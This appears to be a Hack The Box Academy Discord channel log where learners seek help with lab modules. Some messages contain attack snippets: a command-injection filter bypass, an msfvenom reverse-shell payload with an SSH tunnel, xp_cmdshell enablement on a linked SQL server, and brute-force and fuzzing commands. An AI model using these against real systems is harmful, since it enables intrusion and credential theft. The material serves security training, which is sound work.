#modules

1 messages · Page 179 of 1

fathom pendant
#

either way: have fun getting caught

thorn urchin
#

you wanna break the law and face a judge be my guest

exotic bison
#

All Right!

marsh echo
#

I found it, 😭 I'm going to sleep

forest tree
#

please can you tell me how i work html with csss?

plucky latch
#

Stupid Question, I have the Silver membership so I have access to all Level 1 and Level 2 modules. If I unlocked with cubes I would get permanent access to refer back to modules, how does that work with memberships, do I lose all access if I dont renew annually to previously completed modules?

next bronze
#

once you have finished the modules they're permanently yours

plucky latch
#

Thank you

forest tree
#

especally i prepare login page with css?

limpid frigate
#

modules that need good internet should be optimize lol

#

i watsed a lot of time for these

plucky latch
#

F*() around and fine out, you are going to be praying for capitalism if you get shipped off to jail for doing something stupid

exotic bison
#

I talked about the whole privEsc thing humorously

#

And people be acting like cyber police or something 🤣

forest tree
#

i learn new web.im new platform

exotic bison
forest tree
#

how slearn strongly web developer or cyber securyti

forest tree
forest tree
exotic bison
#

On the site. Search up "Getting Started" on the seqrch option of HTB site

#

No problem, mate

forest tree
#

thanks a lot,mate

fathom pendant
forest tree
surreal brook
#

hi guys, having some difficulties on Premature Session Population (Auth Bypass) from the Abusing HTTP Misconfigurations module .i tried following the steps but still unable to bypass it. would appreciate any help. thanks

fathom pendant
signal meadow
#

oh mybad does that break the rules?

fathom pendant
#

first general thing you should do when joining a discord is read the #welcome channel and the #rules

signal meadow
#

yo stop fucking cursing at me

fathom pendant
#

✨ no ✨

signal meadow
#

ight then

fathom pendant
#

either way if you're not here to learn; then you can leave: as this server is for a website called Hack The Box, this channel in particular is related to HTB academy a learning centered platform

signal meadow
#

Where can i start?

fathom pendant
#

well if your motivation is just to do some simple phishing to get Roblox creds: then no - you can google hacking beginner's bible though to get a rough idea of how to start

signal meadow
#

i just lost my password but what about the other things?

#

? @fathom pendant

exotic bison
signal meadow
#

thats what im saying fr

fathom pendant
fathom pendant
signal meadow
#

ok but i want to learn about other things too i just dont know where to start

fathom pendant
#

you get jaded to these types of queries

compact patrolBOT
exotic bison
fathom pendant
#

in which case they can learn from google ¯_(ツ)_/¯

signal meadow
#

not the revenge part

exotic bison
#

What is the point of behaving rudely, mate?

#

And I don't think this new guy is asking for revenge

fathom pendant
#

it's the way I interpret the request ¯_(ツ)_/¯

#

because again, i've been in the server long enough to see a bunch of different people

#

90% of people that are asking stuff like "How do I get someone's password from xyz" are often not asking for legality

quasi wave
#

I'm gonna revise them tomorrow

fathom pendant
quasi wave
#

ok let me convert it to docx

fathom pendant
#

i also don't feel like downloading

#

the only person to attest to the quality of your notes is yourself

next bronze
#

my guy, no one is gonna download random files online lol

fathom pendant
#

can you say that you can do that section from your notes, without needing to reread the section for clarity

exotic bison
quasi wave
#

there now you should be able to open with word

fathom pendant
#

good note taking is hard to learn at first

#

i'm not downloading this

quasi wave
#

ok I will make google drive link

exotic bison
#

saves a lot of time

fathom pendant
quasi wave
#

actually I will just read the note writing thing

fathom pendant
#

also rewriting helps retain info

quasi wave
#

ok ya

exotic bison
fathom pendant
#

i'd suggest rewriting what chatGPT spits at you

#

and make sure it makes sense; as chatGPT can be wrong/hallucinate

exotic bison
#

Also I have something called "perfection anxiety". When I write my own notes, it feels like they are not "perfect". Maybe there is a mistake here or there. Maybe I will get the wrong idea when I read them afterwards

exotic bison
fathom pendant
#

if your notes make sense to you: that's all that's important

next bronze
#

there's no such thing as a perfect note, accept that they're always subject to change based on your needs

fathom pendant
#

if you can relate what you're learning to something you already know: it helps so much better

exotic bison
#

I guess I need to work on my mindset too

fathom pendant
#

i.e. DNS is like a phone switch - it knows where everything should go, and if it doesn't it needs to be routed/find the right route

#

public DNS is like a global phonebook, where something like /etc/hosts is a local; where it may have your local community's phone number

exotic bison
#

I will remember that while making notes from next time

fathom pendant
#

ye; break it down as if you're a dum dum that doesn't know what fancy words mean

#

it's how I try and break down concepts when I assist people with modules- especially when it comes to language barriers

#

but that's also how my mind works; i have to boil things down to their simplicity to understand it

exotic bison
#

Can I say that load balancers are just like middlemen who are balancing web traffic among servers?

#

Currently revising the topic

fathom pendant
#

and you can really say, if someone asks, "well if you look at it this way, you can see that blahblahblah"

#

my notes use a lot of IT support shorthand

#

if the word "Customer" is important to the phrase i'm rewriting, i'll use Cx

exotic bison
#

But the problem is remembering all those shorthands

fathom pendant
#

but I also have an IT support background

#

which is why I can use the shorthands

exotic bison
#

What is your current working field?

fathom pendant
#

none atm

#

looking at apprenticeship opportunities in my state for Cyber related stuff

#

if you're in the US. you can use findhelp.org to look for local resources

fathom pendant
#

sort of; it's a paid learning opportunity

#

some of them are several years

#

you learn stuff and get paid :)

exotic bison
#

That's really helpful for many people, since there are a lot of resources out there but where most face problem is learning to use them in the proper way and order

exotic bison
fathom pendant
#

ye it's a job

exotic bison
#

That's a win-win thing

fathom pendant
#

like any trade apprenticeship

exotic bison
#

Man, wish I was in the States

fathom pendant
#

some companies allow you to apply from overseas, but might require you to move to the states to do work ¯_(ツ)_/¯

exotic bison
agile torrent
#

I'm currently trying the Command Injections module, specifically the 'Bypassing Other Blacklisted Characters' section.
Intending to make sure I really understand it, so attempting to bypass a command filter (whoami currently) with a backslash. (ik can do it other ways, but want to use a backslash this time)

Backslash is a blocked character, so trying to use shifting to get it (as I couldn't find backslashes in any env vars that I could yoink).

tr '!-}' '"-~' <<< [```
Above is the shifting command the module gives, which includes a single double quote which it doesn't seem to like, so instead of shifting by 1, I'm shifting by 3 (2 uses | which is also blocked).
```bash
tr '!-{' '$-~'<<<Y```
Adding the ${IFS}s to avoid spaces (also blocked) gives
```bash
tr${IFS}'!-{'${IFS}'$-~'<<<Y```
Wrapping that in my command gives me 
```bash
whoam$(tr${IFS}'!-{'${IFS}'$-~'<<<Y)i

Which outputs whoam\i. Is there any bash syntax that I could wrap this in that would evaluate the backslash on the command line?
Thanks :)
(not sure if spoilers count in #modules but will delete/edit if needed 🫡 )

fathom pendant
#

well backslash is an escape character

#

but it looks like it still should interpret the commmand

#

but it looks like it's injecting the character in as a non-escaped character

agile torrent
#

would that be a problem with something I've already done (eg use of $(cmd)), or something I haven't done yet (eg wrapping the whole thing in some sort of quote/bracket)?

exotic bison
#

@fathom pendant Took your advice. I am using chatgpt to have a look at my own written notes and see if there is a gap or mistake in my understanding

#

Hope it will be better than just copy pasting chatgpt's compiled notes

fathom pendant
agile torrent
#

you're good, thanks

fathom pendant
#

yeah it looks like that syntax specifically injects the non-escaped character

agile torrent
#

id expect it to output the cmd output of whoami but is currently outputting

fathom pendant
#

yes

#

but type whoam\i itself in the terminal

next bronze
fathom pendant
agile torrent
#

oh wild

next bronze
#

but yeah from experience these kind of wacky command injection usually doesn't work very well, there's too much variant between where you're trying to inject and the system interpreting it, often it works in your terminal but doesn't work when you try it

agile torrent
#

mm yeah

#

its annoying cause the module baited me and was like 'haha if you wanna tryhard try and do it with the backslash'

#

terrible

fathom pendant
agile torrent
#

yeah, i was trying to simulate the escaped backslash in my larger statement, but might be a lost cause

#

ty for the help though:))

fathom pendant
#

(it could also be your injection is injecting a double backslash)

agile torrent
#

like two backslash characters?

fathom pendant
#

ye

#

at least that's what I'm thinking is the case

agile torrent
#

I'd be very interested if it was, from my understanding the tr command shifts whatever it gets from stdin, so if I only put in one character (the Y), I should only get one char out

fathom pendant
#

it's one of those quirky things with it ¯_(ツ)_/¯

agile torrent
#

love technology

fathom pendant
#

it could be treating the inject as a '\'

#

like a literal backslash, not escape

exotic bison
#

Will learning to make my own script help in exploiting these vulnerabilities like SQli, XSS or Command Injection?

agile torrent
agile torrent
fathom pendant
#

there's already tools that do it for you :D

#

(but knowing how they work is important)

exotic bison
fathom pendant
#

which is what I appreciate about HTB modules, they slap you with the hard one, then show you "btw this tool existed - the WHOLE time"

fathom pendant
#

you'd need to know about stuff for NoSQLi

#

(businesses not using SQL as a database)

exotic bison
fathom pendant
#

kinda

#

but again there's underlying concepts for those :D

exotic bison
#

will the process makeup for not learning to script myself?

fathom pendant
#

yep

#

tools just make your life easier

exotic bison
fathom pendant
#

again; it's mostly just being jaded from seeing on a weekly basis at least 20 people coming in being like "i need help to hack xyz, they are bad person" like dude, just go to the authorities

exotic bison
next bronze
agile torrent
#

sticky note on the desktop

fathom pendant
agile torrent
#

oh yeah i meant the digital desktop, but yeah just a bro rocking up and seeing all these passwords taped to the monitors 💀

#

physical pentesting 📈 📈

fathom pendant
#

i unironically used that for a bit

agile torrent
#

just for notetaking or something?

#

to do list kek

fathom pendant
limpid frigate
#

in password attack module, bruteforcing took ages for me, since i'm in SEA, i even try use pwnbox USWest server with 2, 3 ms, still a bit long, any suggestions :((

next bronze
#

increase number of threads for hydra, and avoid bruting ssh if you can

fathom pendant
#

btw

#

iirc there is an AU one

next bronze
#

there's pwnbox server for au and sg, but no academy servers

limpid frigate
#

yeah i chose pwnbox server that close to academy server

fathom pendant
#

eh if you want smoothness with the pwnbox i'd say using the one closer to you is better

#

they might eventually release edge servers for academy vpn in those regions, the pwnbox release was likely a test release

limpid frigate
#

i mean the delay from pwnbox doesn't matter that much, i want to optimize the time for bruteforcing actually

fathom pendant
#

¯_(ツ)_/¯

#

i've found that most people have luck using 48 threads with hydra

#

if it drops a bunch of agents; you'll need to adjust

exotic bison
#

how do I manage terminals, browsers and other GUI apps together? It gets really messy for me at times

ocean arch
next bronze
ocean arch
#

Thanks, yeah wasn't quite feeling the right tool.

north frigate
#

Cheers! 🙂 First of all: I was just recommended HTB academy (I'm not from IT , but interested) and the last few days have been a BLAST, this is great!

I'm currently doing the "getting started" module which, too, has been really good (for a beginner). I just wanted to provide minimal feedback on the "Privilege Escalation" section of that module:

I do know that the intended solution is fairly straight forward and ba far easy enough. BUT if you read the text , you have MANY options to approach the problem with more or less no clue, which options should be tried (by a beginner) and which ones are rather... "not for now", so to say 😉 I spent hours trying to find out how to transfer scripts from my host to the remote machine, how to execute msfconsole on the remote system, how to download PEASS to the remote machine (--> DNS resolution for github throwing an error) , etc. Then I went on and found the webserver on the target machine, but could not access (no rights, which is very fine). Then I went on and tried to run searchsploit on my local machine with the linux-version of the target. this DID uncover public exploits, but I had no clue how to run them on the remote machine 😄 this goes on about cronjobs, etc ^^

I'm not saying any of this is bad, it was a nice hunt, BUT, in comparison to the other interactive sections I've done so far, this was more confusing as the "simple intended approach" was among the latter in the text. Dont get me wrong: having to try several new appraoches to get used to them is awesome, but in this case I never knew whether any of what I'm doing is stupid^^. Still, I learned quite a lot, it is great 🙂 Maybe siply re-ordering the exploit approach in the text a bit might safe the next beginner from a lot of likely unintended headache 😄

exotic bison
#

Write a TL;DR too

chrome lotus
north frigate
chrome lotus
#

Oh, it is. That is pretty weird indeed how the section is covered right after 😄 Good feedback ^^

#

Great to hear that it didn't discourage you though. The modules are generally great at explaining things. Are you on a specific path, or are you just doing Getting Started for now?

north frigate
# chrome lotus Oh, it is. That is pretty weird indeed how the section is covered right after 😄...

In theory, I fully get how one can see the current structure as logical. Yet, parts of the "privilege escalation" chapter require some file-transfers (IF they would be required in the interactive part), which is only addressed / introduced afterwards.

As for your question: I started with the "SOC Analyst"-path, but felt like a tiny bit too noob for that (really not by much, but I had to google more terms than felt correct) and then switched to the "getting started" path. This feels like the absolutely right decision. Even to a point where I felt like the "getting started" module should have been advertised more heavily for beginners after account creation 😄 It's really nice 🙂

next bronze
#

generally you should try the low hanging fruits first before doing the more complicated exploits. if you're new to this field, I'd recommend to start with the Information Security Foundations path

north frigate
# next bronze generally you should try the low hanging fruits first before doing the more comp...

That one is already bookmarked as "to-do next" for me, yes! 🙂 "getting started" simply sounded EVEN MORE beginner-ish (and much shorter). About "starting with low-hanging fruits": yes, absolutely. But in the context of the "Privilege escalation"-section, I simply did not know which approach would be low-hanging (but I guess all my detours made me feel like "this is not the right way" simply because it felt too difficult). I usually simply follow the text-examples step by step, try to understand them and then get the flags 🙂 in this section, this approach caused (minor!) problems on my end^^.

And thanks! 🙂

vale blade
#

Hello there, anyone could give a hand with Injection Attacks Skill assessment, I have been identify the PDF exploit but can't find the internal web app, thanks an advance

dusky rivet
#

Hello need help on Attacking Thick Client Applications please. I'm following the instructions in the x64dbg to try to find in the Restart-OracleService.exe the Type MAP with protection RW but nothing appears..

acoustic owl
vale blade
acoustic owl
#

|| ports.conf||

next bronze
vale blade
vale blade
dusky rivet
velvet wyvern
#

Anyone have any idea of this is arp poisening:

#

of how*

oblique spoke
#

Hello! i got a little stucked at Active Directory Enumeration & Attacks part 2.
The current question is "Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host. " And i have the connection string from the last question. I am trying to connect to the SQL01 host with mssqlclient. Doestn really work. Can anyone give me an idea whats wrong? Maybe the username is not correct?

next bronze
oblique spoke
#

not really, i was trying DC01 as username as well as mssqlsvc

next bronze
#

check the file where you found the connection string

oblique spoke
#

yeah it said computername environment variable

#

it was from DC01

#

thats the computername

#

at least the hostname

next bronze
#

read it carefully, the username is inside

oblique spoke
#

there you go 😄 thank you

#

you are always a big help in my progress ❤️

charred fable
#

why cant I run iconfig ?
it says command not found ?

#

how do i install it ?

compact rover
#

Try ipconfig

charred fable
compact rover
#

Are you using windows

charred fable
#

no MAC

#

Parrot hack the box version

compact rover
#

Try ifconfig

charred fable
compact rover
#

Welcome

velvet wyvern
steel dawn
#

Hey I'm on Attacking Common Applications, "Attacking LDAP"
trying LDAP injection

For example, suppose an application uses the following LDAP query to authenticate users:
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

if an attacker injects the * character into the $password field, the LDAP query would match any user account with any password that contains the injected string. This would allow the attacker to gain access to the application with any username,

is this the right approach to inject $password = " * "; ?

||ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "($password = " * ";)"||

velvet wyvern
#

I do know how arp poisoning works, I just can't seem to understand how this is arp poisoning.

next bronze
#

why is that not arp poisoning thinkw

next bronze
silver iris
#

After an eternity of trial and error i did it on the attackbox, but on my own VM i couldnt even capture the hash xD

manic onyx
#

What is the new certification 'CWEE' that is coming soon?

acoustic owl
manic onyx
#

Oh nice, that path looks awesome

subtle sky
#

Who now about project AI AGI

wraith junco
#

Module : Windows Priv Esc
Section: Dns Admins
My problem is the connection, always going down xfreerdp so i do the section says and im in the dns admins groups but cant read a flag anyboyd help ?

hot grove
#

Anyone able to give me a pointer real quick ? " Perform an Nmap scan of the target and identify the non-default port that the telnet service is running on"
ive ran multiple scans but still cant get that telnet service to pop up

acoustic owl
#

check the errors that are displayed.
The files do not seem to exist

warm rune
#

Hi guys!, im just getting to the platform and i not getting through the Linux Fundamentals ❤️ the ssh login. Im kind of lost with the VPN and the ssh, if a have to do it in the terminal, in a virtual machine. I dont have more instances btw. Anyone can help this noob?

lusty thicket
tiny mauve
snow ridge
#

In module: PIVOTING, TUNNELING, AND PORT FORWARDING, skills assesment. What am I missing? I created windows payload with msfvenom msfvenom -p windows/x64/meterpreter/reverse_https lhost=172.16.5.15 -f exe -o backupscript.exe LPORT=8080 and used internal ip of pivot host. Then I transferred it to windows machine. After that I setup metasploit multi/handler.

payload => windows/x64/meterpreter/reverse_https
lhost => 0.0.0.0
lport => 8000

Then I started remote forward from ssh. ssh -R 172.16.5.15:8080:0.0.0.0:8000 webadmin@$IP -vN -i id_rsa
And when I run that payload in windows machine I dont get meterpreter session.

acoustic owl
acoustic owl
rugged yacht
rugged yacht
hot grove
#

smbclient not wanting to connect to the host to list any shares, im using the correct syntax for smbclient right ?

lusty thicket
# hot grove

“host unreachable” is the machine currently active?

hot grove
#

i noticed that too, but yes it is, just refreshed my pwnbox vm and attacker machine 5 min ago . i keep gettingthese responses

#

*target machine

lusty thicket
#

🤓👆

hot grove
#

lolof course

lusty thicket
#

what module is that?

hot grove
#

part of the CPTS path i believe, Getting Starte- Service Scanning

#

im going to simply restart my laptop lmfao

past compass
#

Module: Pass the Hash
Issue: I did all of the questions last night but left the bonus one for today - I've tried resetting the machine, regenearting VPN config file, giving the machine some alone time before tackling it. I can't get it to run mimikatz / any other command which would fetch me the user hashes. I've tried evilwinrm / impacket / reverse shells without luck. this is the closest I've come to in the past 20min of trouble shooting. There's no output to commands. I'm unsure how to get around this issue.

#

The question for referene: Optional: John is a member of Remote Management Users for MS01. Try to connect to MS01 using john's account hash with impacket. What's the result? What happen if you use evil-winrm?. Mark DONE when finish.

viscid cedar
#

In the Windows Privilege Escalation Module, in the sections Windows Desktop Versions (https://academy.hackthebox.com/module/67/section/913) and Windows Server(https://academy.hackthebox.com/module/67/section/912) they given an example of an exploit then in the evaluation section they instruct you to use the exploit to get the flag on the Administrators desktop. They also tell you to try other exploits to get system access? What are some exploits other than the given examples that guys have had success with in the sections Windows Desktop Verions and Windows Server.

sinful olive
#

Module: AD Enumeration & Attacks - Skills Assessment Part II Q. Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

I tried everyting I know basically. Last thing I did was to try Reverse shell through xp_cmdshell but that not working... what am I missing?

Thanks!

rustic sage
#

Module: Introduction to networking
Section: Wireless Networks

There are two things which bothered me a little bit. While overall the course is really nice, it says that following things can be modified to improve WiFi security:

  • disable SSID broadcasting
  • enable MAC filtering

However, there is nothing about disabling WPS - which I think should be also done - isn't this still relevant?

I am not entirely convinced that disabling SSID broadcasting and enabling MAC filtering should be advertised. Or maybe my understanding is wrong - and we should always do that in case someone somehow gets our wifi password, but will not have enough knowledge to change his MAC address in order to gain access to the network.

What are your thoughts?

native turtle
#

hi everyone, can someone help me in last step of attacking common services lab hard?

#

|| I have already impersonated john user and execute the commands to activate cmd on remote server||

#

|| but I cant retrieve the flag due to syntax error||

#

|| EXECUTE('SELECT * FROM OPENROWSET(BULK N"C:/Users/Administrator/Desktop/flag.txt", SINGLE_CLOB) AS Contents') AT [LOCAL.TEST.LINKED.SRV] ||

#

|| [-] ERROR(WIN-HARD\SQLEXPRESS): Line 1: Incorrect syntax near 'N'. ||

rustic sage
#

Hacker

native turtle
#

also tried this

#

|| EXECUTE('xp_cmdshell "whoami"') AT [LOCAL.TEST.LINKED.SRV]||

#

[-] ERROR(WIN-HARD\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

snow ridge
#

@native turtle You have to enable usage of xp_cmdshell first

native turtle
#

I did

#

on remote

weary lily
#

How do I find persistent registry keys in Velociraptor?

snow ridge
native turtle
#

idk

#

|| EXECUTE('sp_configure "show advanced options", 1') AT [LOCAL.TEST.LINKED.SRV]||

#

I did this and the other

#

with the correct response output

#

but then when I try to execute xp_cmd on remote server it dumps the error

snow ridge
#

@native turtle Did you run all these commands? ```-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.
RECONFIGURE
GO

-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO

-- To update the currently configured value for this feature.
RECONFIGURE
GO```

#

In the remote server

native turtle
#

yes

#

😦

snow ridge
#

Did you get any errors while running those?

#

and check users in the remote server

native turtle
#

I figured out

#

I dont know why I was using

#

EXECUTE('sp_configure "Ole Automation Procedures", 1') AT [LOCAL.TEST.LINKED.SRV]

#

and not xp_cmdshell

fathom pendant
#

iirc you still need to alias

#

but it's been a minute

full nimbus
#

Hi folks, i'm trying to get the flag In the Privileged Access section of the AD Module, however using PowerUp SQL I get no output. Any pointer ?

PS C:\tools> Invoke-SQLOSCmd -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "XXXX!" -Command "type C:\Users\damundsen\Desktop\flag.txt"
VERBOSE: Creating runspace pool and session states
VERBOSE: Closing the runspace pool

I used impacket mssqlclient.py in the end but still curious

fathom pendant
fathom pendant
#

¯_(ツ)_/¯

thorn urchin
#

basically, powershell function is too old to be useful to modern targets

full nimbus
#

hacktricks seems to say it checks and enable if needed, also when using impacket, seems it was on by default

SQL> enable_xp_cmdshell
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
full nimbus
sleek moss
#

is hackthebox down

#

cademy

full nimbus
fathom pendant
grizzled schooner
#

trying to enumerate vHosts on info gathering - web edition ... can't seem to get anything... So far I've tried using different variations of ||ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u <ip> -H "HOST: FUZZ.inlanefreight.htb"|| and I haven't had anything short of thousands of errors... Am I on the right track? A nudge or hint would be nice

full nimbus
# fathom pendant Working for me

Here's the syntax i used for similar purpose. Note the FUZZ bariable.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://topology.htb/ -H "Host: FUZZ.topology.htb" -fw 1612

full nimbus
#

also, the -fw is to filter results based on various criterias. Essentially you want to get the answer that is different from the failing ones by filtering result

sleek moss
#

anyone know why I cant carckmapexec password attacks └─$ sudo crackmapexec smb 10.129.41.174 -u usernames.txt -p /usr/share/wordlists/fasttrack.txt
SMB 10.129.41.174 445 ILF-DC01 [*] Windows 10.0 Build 17763 x64 (name:ILF-DC01) (domain:ILF.local) (signing:True) (SMBv1:False)
Traceback (most recent call last):
File "/usr/local/lib/python3.11/dist-packages/impacket/smbconnection.py", line 278, in login
return self._SMBConnection.login(user, password, domain, lmhash, nthash)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/impacket/smb3.py", line 1040, in login
if packet.isValidAnswer(STATUS_SUCCESS):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/impacket/smb3structs.py", line 458, in isValidAnswer
raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

During handling of the above exception, another exception occurred:

ValueError: too many values to unpack (expected 2)

full nimbus
#

sorry, it was for @grizzled schooner 😮

grizzled schooner
#

lmfao

sleek moss
#

Attacking Active Directory & NTDS.dit

grizzled schooner
#

any particular reason you used subdomains-top1million...... instead of namelist.txt? It's what they had had in the module so I thought it would be based off of that

#

I'll give the other wordlists a try though

#

thanks

full nimbus
#

Not sure what is in namelist, but the subdomain + domain would make a valid HTTP Host 🙂

#

Also, mind :FUZZ the wordlist.txt:FUZZ

thorn urchin
full nimbus
#

can't say it's mandatory but that's how I did 😄

fathom pendant
grizzled schooner
#

yeah for sure, thanks... I'll look into those

full nimbus
sleek moss
#

what does netexec do

full nimbus
#

It's the updated fork of crack map exec

fathom pendant
full nimbus
#

but CME is not maintained anymore and I had a few conflicts with python libs due to it

sleek moss
#

i c ok thanks

thorn urchin
# sleek moss i c ok thanks

the original author wanted to start selling new cme updates first, but the actual devs making the updates wanted to keep it pure open source so they left and started netexec. So its literally the same tool/code except thats where all nee updates and fixes are going. They just changed the name because the other guy got pissy

grizzled schooner
#

bmi, I'm still having some troubles, I noticed that the module says you need vHost www.inlanefreight.htb so I edited the syntax to be ||"ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt:FUZZ -u https://10.129.58.110 -H "HOST: FUZZ.www.inlanefreight.htb" -fw 2000 -fs 2000"|| as well as the list you used... I've ran this a couple different ways it seems and I'm only getting errors.. do I need to add the ip to /etc/hosts?

fathom pendant
#

(The www is to give you an idea of a positive hit)

grizzled schooner
#

so my thought process was, if they're telling me that I need vHost www.inlanefreight.htb, maybe it wanted xxx.www...... so I wasn't sure

grizzled schooner
#

good to know

fathom pendant
#

www.inlanefreight.htb is one of the vhosts

grizzled schooner
buoyant escarp
#

I run without fs and fw at first to see whats the trash

full nimbus
#

what error you get ?

grizzled schooner
#

doesn't give me an error message, just shows "Errors: the number of items in whatever text file I've used"

buoyant escarp
#

Why do you use https

#

Not http

fathom pendant
#

?

thorn urchin
fathom pendant
#

Also screenshots are a thing

full nimbus
#

are you getting errors like

agirenconscience        [Status: 403, Size: 151, Words: 3, Lines: 8, Duration: 8ms]
agirklmext              [Status: 403, Size: 151, Words: 3, Lines: 8, Duration: 8ms]
agirpourlatransition    [Status: 403, Size: 151, Words: 3, Lines: 8, Duration: 8ms]
``` ?
grizzled schooner
#

isn't that what -u is in this case?

drowsy quarry
#

Hi can someone give me a hint in the advanced sql injection skill assesmente? I manage to find the sql injection and dump the email, but something is blocking me from dumping the password

fathom pendant
#

Most academy targets will be http

buoyant escarp
#

Only time ised https was nessus iirc

grizzled schooner
#

... well, that changed everything

fathom pendant
buoyant escarp
#

Yea

fathom pendant
grizzled schooner
#

for real, I didn't even realize

fathom pendant
#

Because you didn't bother reading your own command

lusty thicket
fathom pendant
#

It happens

sleek moss
#

does nxec STATUS_LOGON_FAILURE does this mean the password is wrong or the port messed up something

fathom pendant
#

You'd only get a logon failure if the user/pw combo fails

sleek moss
#

i c ok so it is working danke

grizzled schooner
#

could I export the results of a ffuf containing word count and everything to a text file ?

fathom pendant
#

ffuf should have an output flag

#

If not bash redirects will do

grizzled schooner
#

yeah I'm just running into text editor saying that the file was too long LOL

fathom pendant
#

Lol

#

That means you should probably start filtering before moving forward

grizzled schooner
#

yeah I tried to filter by using | grep words: 3 (and moved the number up, but bash isn't saving the entire output when it runs so I don't think it's working right

buoyant escarp
#

I think default is json nor sure rn

neat cape
#

Has anyone here ever successfully used sudo with openssl to get a reverse shell?
While file reading and writing work well, I've never been able to use the GTFObins trick to get an elevated shell.
Reference: https://gtfobins.github.io/gtfobins/openssl/#sudo

fathom pendant
#

Read #welcome to find out how to access more of the server

#

Careful with revealing stuff for Attacking Enterprise, as most do it blind

neat cape
#

Thats why I marked it as Spoiler

#

Ill get rid of it, thatd be better

fathom pendant
#

I haven't done this module so I can't help you

neat cape
#

Oh, sorry. Hope you didnt read the spoiler marked stuff

fathom pendant
grizzled schooner
#

have everything but the specific vHost that starts with "d" I figured it would've been ||dev-admin.inlanefreight.htb|| but it isn't... am I missing something lol... I ran through the top1million-5000 and sorted by the amount of words (the previous 4 answers had 3 words) and nothing came up...

fathom pendant
#

Perhaps size is the better way

grizzled schooner
#

you said that and I said ill filter size

#

lol

fathom pendant
#

Like I said, they use www to give you an idea what to filter

#

-f[n] is a negative filter, -m[n] is a positive (match) filter

grizzled schooner
#

When using -fs it says you can comma separated list of sizes and ranges... so could I do -fs 90,110 to have it output sizes between that range?

fathom pendant
#

Again -fs is a negative, meaning it will discard anything that matches it

grizzled schooner
#

so would -mn 90,110 make it match everything within that range?

fathom pendant
#

[n] is just a substitute for whatever mode you're matching

grizzled schooner
#

yeah I meant to put s

fathom pendant
#

Iirc you'd need to do 90-110, comma separation is saying a OR b

grizzled schooner
#

yeah that was it thanks, got my answer

rustic sage
#

I’m on an iPad atm and was wondering if i could do academy modules on it instead of a regular pc

acoustic owl
upper crest
#

hello, i have an issue with the Game Reversing & Modding skill assessment, i passed the first step but when i have to let the game connect to remote instance, i see in BepInEx that Fixman cannot connect the instance (so i cant intercept in Burp) [Yes i'm connected to the vpn]

loud wren
#

What is a good place to start with HTB Academy, I have the student subscription. I am getting lost in how much content there is

buoyant escarp
grizzled schooner
#

yeah I found it

buoyant escarp
#

Cool

thorn urchin
loud wren
#

which one is the cpts track

#

and thank you

buoyant escarp
loud wren
#

thank you

dim girder
#

Can anyone help with the xpath blind exploitation module? I’ve been at this 3 days and the guide is unclear at a certain point. Not sure if it’s intended or not but not I’m just doing the same commands over and over

#

What is a step? Is it anything with a bold heading and the ensuing instructions or is it the command/query?

#

So far I’m following the guide and it doesn’t work as intended past a certain point.

runic rampart
#

Friends, good evening! Can anyone tell me about Supply Chain Attacks:Skills Assessment?
I found the gitlab host (credentials don't match)

craggy sky
#

hey i just finished the nmap network enumeration module. In the hard lab, why does ncat successfully connect to the port i'm trying to retrieve the flag from IF I use --source-port 53 but not --source-port 80 (an open port) or an unspecified source port

fathom pendant
#

you're making the request as if you're a DNS (port 53 is known as the DNS port)

#

so it treats it as if you're querying it from a normal method

dim girder
#

Specifically Exfiltrating the number of child nodes. I don’t understand the wording when it talks about going to the previous step to target the node name I just exfiled

fathom pendant
#

A step is whatever you did previously

dim girder
#

Specifically Exfiltrating the number of child nodes. I don’t understand the wording when it talks about going to the previous step to target the node name I just exfiled

#

Yeah

marsh echo
fathom pendant
#

@marsh echo

dim girder
#

Hahaha I’m already in the industry but some of the wording…bro wtf

marsh echo
dim girder
#

Yeah it’s like sometimes the writer is like “yeah go back to the thing” but what they want you to inject and the payload don’t matchup based on wording hahahahahha

#

Christ

#

This is wild I can read I promise and of course there’s no official write up so I just keep doing the module top to bottom@and get stuck at the same place

#

Where are the official admins?

#

I’m so angry hahahahah 4 days same module because someone wouldn’t add context

#

Please DM if you’ve done senior path xpath module.

#

I guess it’s because this module is new so not many have done it

fathom pendant
#

Tbh it's likely just you misreading but I haven't done the path to be sure

#

Annual sub

#

Yes, that's what annual means

dim girder
#

It’s possible @fathom pendant but I’ve gone to bed 3 times and still can’t read? Interesting

manic onyx
#

Can anyone give me a nudge on the file inclusion skill assessment? So far I have found a php filter to retrieve source code of local php files. I have examined the source code of all php files I have managed to fuzz and there isn't anything useful. Am I not enumerating enough?

fathom pendant
dim girder
#

I speak English

fathom pendant
#

ChatGPT won't help in this case

dim girder
#

Obvious it’s a skill issue that’s why I’m doing the module.

#

If I had the skill I wouldn’t do the module. I don’t understand what you wanted to get out of calling it a skill issue.

fathom pendant
#

Post in erratum

fathom pendant
#

